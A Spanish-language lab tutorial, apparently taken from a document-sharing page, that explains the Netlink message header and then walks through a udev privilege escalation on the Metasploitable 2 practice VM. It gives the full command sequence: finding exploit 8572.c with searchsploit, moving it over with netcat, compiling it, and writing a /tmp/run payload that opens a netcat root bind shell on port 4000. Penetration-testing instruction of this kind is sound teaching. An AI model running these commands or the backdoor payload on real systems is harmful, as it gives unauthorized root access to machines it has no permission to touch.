Sie sind auf Seite 1von 8

Netlink: Netlink es un mecanismo de comunicación, se utiliza para transferir

información entre los módulos del núcleo y los procesos del espacio de usuario, Los
sockets Netlink son lo que permitem esta comunicación.

Los mensajes de Netlink siguen un formato muy particular. Todos los mensajes deben
estar alineados con un límite de 4 bytes. Como ejemplo, un mensaje de 16 bytes debe
enviarse tal cual , pero un mens
aje de 17 bytes debe rellenarse a 20 bytes.
Los encabezados de mensajes de Netlink utilizan el siguiente formato: (diagrama de RFC
3549 ):

Estos campos contienen la siguiente información:

 Longitud (32 bits): la longitud del mensaje completo, incluidos los encabezados y la
carga útil.

 Tipo (16 bits): qué tipo de información contiene el mensaje, como un error, mensaje
de finalización de varias partes, etc.

 Indicadores (16 bits): indicadores de bits que indican que un mensaje es una solicitud,
un mensaje de varias partes, un acuse de recibo de una solicitud, etc.

 Número de secuencia (32 bits): un número utilizado para correlacionar solicitudes y


respuestas; Incrementado en cada solicitud.

 Id. De proceso (PID) (32 bits): a veces se denomina Id. De puerto; un número que se
utiliza para identificar de manera única un socket de enlace de red particular; puede o
no ser la identificación del proceso.

Finalmente, una carga útil puede seguir inmediatamente a un encabezado de enlace de


red. Nuevamente, tenga en cuenta que la carga útil se debe rellenar hasta un límite de 4
bytes.
Elevar Privilegios Explotando Vulnerabilidad De
Udev En Metasploitable 2
El escalado o elevación de privilegios es una tarea amplia, esto a razón de la diversidad de
aproximaciones factibles de ser utilizadas para obtener acceso como usuario
Administrador o root. Una de las tácticas para elevar privilegios implica buscar por
vulnerabilidades adicionales en el sistema desde una perspectiva interna. Esto implica
cualquier tipo de acceso al sistema, aunque este acceso tenga autorización limitada, es
factible explotar vulnerabilidades.

Para el siguiente ejemplo se utilizará la Máquina Virtual de nombre “Metasploitable 2”

Se tiene acceso al objetivo de evaluación con un usuario sin privilegios de root.

$ id; whoami

La identificación de vulnerabilidades desde una perspectiva interna, puede ser realizada de


manera automática utilizando un escaner de vulnerabilidades, o simplemente, listando
todos los paquetes y la respectiva información sobre sus versiones, para luego buscar
vulnerabilidades manualmente.

Uno de los principales objetivos de explotación es el kernel de GNU/Linux, por lo tanto se


utilizará un exploit para la versión del kernel utilizado en el objetivo de evaluación.

$ uname -a
A continuación se expone la información incluida en el código del Exploit:

udev < 141 Local Privilege Escalation Exploit

Versiones anteriores de udev 1.4.1 no verifican si un mensaje NETLINK se origina desde


el espacio del kernel, lo cual permite a usuarios locales ganar privilegios enviando
mensajes NETLINK desde el espacio de usuario.

Para utilizar el exploit en primera instancia se debe copiar el archivo en el objetivo de


evaluación. Kali Linux tiene un repositorio local de exploits de "Exploit-DB". Se procede a
buscar el exploit.

# searchsploit udev
Se verifica la existencia del archivo, visualizando parte del exploit.

# head /usr/share/exploitdb/platforms/linux/local/8572.c

Se procede a copiar el archivo conteniendo el exploit hacia Metasploitable 2, utilizando


netcat.

En Metasploitable 2

$ nc -n -v -w 10 -l -p 1234 > 8572.c


En Kali Linux:
# nc -n -v 192.168.0.16 1234

Se compila el exploit

$ cc -o 8572 8572.c

Antes de ejecutar el exploit se requiere leer las “instrucciones” contenidas en el archivo del
código.

Se debe pasar el PID (Process IDentifier) o Identificador del Proceso del socket netlink
udevd (listado en /proc/net/netlink, usualmente es el PID udevd menos 1) como argv[1].
Este exploit ejecutará el archivo /tmp/run como root, aquí es donde se debe colocar el
Payload o Carga Útil a ejecutar.
Se procede a crear el archivo “/tmp/run”. Para este ejemplo se utilizará netcat para abrir
una “backdoor” o puerta trasera con privilegios de root.
Nano run, export TERM=xterm

#!/bin/bash
nc -n -l -p 4000 -e /bin/bash

Es necesario averiguar el PID de udevd

$ ps axu | grep udevd


El PID de udevd es 2705, por lo tanto se le resta 1 y se ejecuta el exploit con este
parámetro.

$ ./8572 2704

Se visualiza el puerto TCP 4000 en atención. Ahora se realiza una conexión desde Kali
Linux hacia este puerto de Metasploitable 2, utilizando netcat.

# nc -n -v 192.168.0.16 4000
La explotación para elevar o escalar privilegios ha sido satisfactoria, pues ya se tiene
acceso como el usuario root en el sistema objetivo.

Das könnte Ihnen auch gefallen